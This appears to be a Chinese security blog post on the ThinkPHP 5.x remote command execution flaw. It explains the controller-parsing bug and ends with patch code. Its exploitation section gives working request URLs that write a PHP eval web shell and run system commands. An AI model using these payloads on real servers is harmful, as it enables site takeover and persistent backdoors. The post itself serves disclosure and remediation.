«

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用

作者:myluzh 分类: PHP 长度:2576 阅读:1708


0x01影响版本:

ThinkPHP v5.0系列<5.0.23
ThinkPHP v5.1系列<5.1.31

0x02漏洞分析:

关键代码:

// 获取控制器名
$controller = strip_tags($result[1] ?: $this-&gt;rule-&gt;getConfig('default_controller'));

该漏洞形成的原因是ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤,在没有开启强制路由的情况下,攻击者可以通过输入‘\’字符的方式调用任意方法,从而实现远程代码执行。

0x03入侵利用

  1. 写入 Shell
    http//localhost/thinkphp-5.1.29/public/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=file_put_contents&amp;vars[1][]=shell.php&amp;vars[1][]=&lt;?php @eval($_REQUEST['code']);?&gt;

    点击查看原图

2.执行phpinfo

http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=php%20-r%20'phpinfo();'
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\request/cache&amp;key=1|phpinfo

点击查看原图

3.利用系统执行系统命令

http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=ls%20-l
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\request/cache&amp;key=ls%20-l|system

点击查看原图

0x04手动修复方法:

5.0版本 在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
   throw new HttpException(404, 'controller not exists:' . $controller);
}

5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上

if ($controller &amp;&amp; !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
   throw new HttpException(404, 'controller not exists:' . $controller);
}

参考文章:
ThinkPHP5.*版本发布安全更新
ThinkPHP 5.x(v5.0.23及v5.1.31以下版本)远程命令执行突破利用(GetShell)
thinkphp 5.x版本代码执行可直接提权getshell

渗透 php 漏洞 ThinkPHP 远程命令执行


正文到此结束
版权声明:若无特殊注明,本文皆为 Myluzh Blog 原创,转载请保留文章出处。
文章内容:https://itho.cn/php/50.html
文章标题:《ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用